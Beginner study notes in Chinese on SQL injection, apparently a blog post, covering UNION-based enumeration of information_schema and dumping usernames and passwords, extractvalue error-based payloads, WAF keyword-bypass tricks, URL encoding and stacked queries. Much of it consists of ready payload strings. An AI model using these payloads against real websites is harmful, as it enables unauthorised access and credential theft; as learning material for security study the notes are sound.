作为刚入门时,初步接触 SQL 所作的笔记


# SQL 注入

# 1.post&get 注入

修改 username 等信息进行无账号登录或构造语句查询敏感数据。

常用 '"')") 与 “and 1=1;and1=2” 与 -- ' 进行试探~~(可能有双括号)~~

目的:判断是字符还是整形

之后用 order by 或 union select 判断段数

再子查询

union 
-- 语句联合查询
(select group_concat(schema_name) from information_schema.schemata)  
-- 查库
(select group_concat(table_name)from information_schema.tables where table_schema='db') 
-- 查表
(select group_concat(column_name)from information_schema.columns where table_name='T' and table_schema='db')  
-- 查字段
(select group_concat(concat(username,' ',password,' ',id)) from security.users) 
-- 查字段内容
(select concat(username,' ',password,' ',id) from security.users limit 0,1) 
-- 当显示长度有限制时
--

# 2.extractvalue 报错注入

extractvaule 报错注入
and extractvalue(null,concat(0x7e,(select database()),0x7e)) -- '
-- 查数据库
and extractvalue(null,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=''),0x7e)) -- '
-- 查库的表
and extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='' and table_name=''),0x7e)) -- '
-- 查表的字段
and extractvalue(null,concat(0x7e,(select group_concat('','','',',') from db.table),0x7e)) -- '

extractvalue(content,path) 这里利用了 path 错误报错获取信息,利用了 concatselect 的嵌套

从而使报错内容 concat 得以显示。也就是说错误的是 concat(slect) 报错时报 concat 的错但会回显,从而显示 select 的内容,达到获取信息的目的。

# 3. 绕 warf

/**/ 替空格,unionunion 类似绕关键字屏蔽,selselectect 包括。

base-64,MD5 () 解码。

# 4. 编码

%23 -- # URL 编码

# 5. 盲注

使用 Python 脚本

# 6. 堆叠注入

堆叠注入原理

堆叠注入,顾名思义,就是将语句堆叠在一起进行查询
原理很简单,mysql_multi_query () 支持多条 sql 语句同时执行,就是个;分隔,成堆的执行 sql 语句,例如

select * from users;show databases;

就同时执行以上两条命令,所以我们可以增删改查,只要权限够
虽然这个注入姿势很牛逼,但实际遇到很少,其可能受到 API 或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条 sql 语句时才能够使用,利用 mysqli_multi_query () 函数就支持多条 sql 语句同时执行,<u> 但实际情况中,如 PHP 为了防止 sql 注入机制,往往使用调用数据库的函数是 mysqli_ query () 函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限 </u>,一旦能够被使用,将可能对网站造成十分大的威胁。

原文链接:https://blog.csdn.net/qq_45691294/article/details/107376284

# 7. 绕过 select 注入

使用 handler 语法。